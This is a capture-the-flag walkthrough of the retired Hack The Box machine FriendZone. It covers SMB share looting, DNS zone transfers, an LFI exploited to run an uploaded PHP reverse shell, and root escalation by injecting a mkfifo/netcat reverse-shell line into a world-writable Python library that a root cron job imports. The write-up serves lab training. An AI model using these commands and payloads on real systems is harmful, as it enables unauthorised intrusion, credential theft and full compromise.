HTB is an excellent platform that hosts machines belonging to multiple OSes. It also has some other challenges as well. Individuals have to solve the puzzle (simple enumeration plus pentest) in order to log into the platform and download the VPN pack to connect to the machines hosted on the HTB platform. Note: Only write-ups of retired HTB machines are allowed. The machine in this article, named FriendZone, is retired.

The walkthrough

Let’s start with this machine.

  1. Download the VPN pack for the individual user and use the guidelines to log into the HTB VPN.

  2. The FriendZone machine IP is 10.10.10.123

  3. We will adopt the same methodology of performing penetration testing as we’ve used before. Let’s start with enumeration in order to learn as much information about the machine as possible.

  4. As usual, let’s start with the nmap scan to learn more about the services running on this machine. [CLICK IMAGES TO ENLARGE] «nmap -sC -sV -oA FriendZone 10.10.10.123»

  5. It looks like we have a lot of data to consume. We have ports 21, 22, 53, 80, 139, 443 and 445 opened. So let’s perform enumeration on them. The important thing to note is that there is a possible domain, “friendzone.red,” as well.

  6. The first thing to do, since we have shares available, is to see how many of these we can discover remotely. «nmap –script=smb-enum-shares.nse -p445 10.10.10.123»

  7. It looks like we can read development and general share. Let’s read general share first. «smbclient //10.10.10.123/general -U “”» «get creds.txt»

  8. There seems to be a creds.txt file found. Downloading creds.txt, we find that the content looks like admin creds. Let’s enumerate the system more to see where to use these creds. «cat creds.txt»

  9. Enumerating port 80 results in the following. An important thing to note is that there is a new domain, friendzoneportal.red, also mentioned.

  10. Since we have port 53 opened, let’s query both of these domains.

  11. Querying friendzone.red reveals the following. We can see that “administrator1.friendzone.red” was discovered. «dig axfr friendzone.red @10.10.10.123»

  12. Querying friendzoneportal.red reveals the following. We can see that “admin.friendzoneportal.red” was discovered. «dig axfr friendzoneportal.red @10.10.10.123»

  13. see below.

  14. Let’s enumerate both these domains. Before that, let’s add the entries into the /etc/hosts file, as shown below.

  15. Enumerating administrator1.friendzone.red results in the following login page. Let’s try the discovered admin creds. We find that it results in a successful login.

  16. After logging in, we get this message.

  17. Following the directions above shows the page below with an error message.

  18. We follow the leads again, including the aforementioned parameters, into the request portal. (BTW, this an LFI candidate.)

  19. So the logic is that if we can include our reverse shell into the system and query it from this page in parameter “pagename,” we should get the reverse shell back. But where to upload? Let’s remember the “development” share discovered above.

  20. We’ll apply this logic to see if we can get the reverse shell back. We modify the PHP reverse shell with the attacker details.

  21. Next, we upload the contents to development share. «smbclient //10.10.10.123/development -U “”» «put reverse.php»

  22. Now let’s add the path to the pagename parameter (/etc/Development/reverse), as shown below. Before that, let’s also open a NC shell. «nc -nlvp 4488»

  23. We got the reverse shell. Great!

  24. We read the user.txt file.(There was a home directory friend on the system.) «cd home» «cd friend» «ls» «cat user.txt»

  25. Let’s enumerate the system to escalate the privileges next.

  26. During enumeration, there was a file called mysql_data.conf under /var/www. Looks like we have the user “friend” password in it in plaintext. «cd /var/www» «cat mysql_data.conf»

  27. Let’s use the above creds to log into the box as user “friend.” «ssh friend@10.10.10.123»

  28. Let’s continue the process of enumeration and escalating the privileges.

  29. After much enumeration, I thought of using an excellent utility (PSPY) from here.

  30. Transferring the PSPY to the victim machine. «scp pspy64 friend@10.10.10.123:/home/friend»

  31. We now make it executable and run it.

  32. We can now see that our process was visible in the PSPY output. This is an indication that it is working fine. (Note the UID as well, which is for user “friend.”) Ideally, we need to see processes under UID:0.

  33. After some time, we saw multiple processes kicked off as root, as shown below. Also note that the cron utility is in the chain as well, indicating that this is running as a cron.

  34. Moving to this file we saw in the contents below, we note that os.system was commented out. So if we can edit the file and add a system command, we should get a reverse shell. But we cannot edit the file. «cd /opt/server_admin/» «ls -la» «cat reporter.py»

  35. The script was importing the OS library. Checking into the OS library permissions, it was under 777 perms. Golden.

  36. Let’s exploit this and add the below line to the file.

  37. Once the cron kicks off, this library will be imported and the os.system command will fire, which will give us a shell back. Don’t forget to start a listener as well. «import os os.system(‘rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 8844 > /tmp/f’)» «nc -nlvp 8844»

  38. We finish by reading the root.txt. «id» «cd /root» «cat root.txt»

This was really a fun and interesting box. Initial entry into the box was based on enumeration and connecting the dots. After that, some great utilities such as PSPY came to the rescue and helped us gain the root shell. We will continue this series with more interesting HTB machines.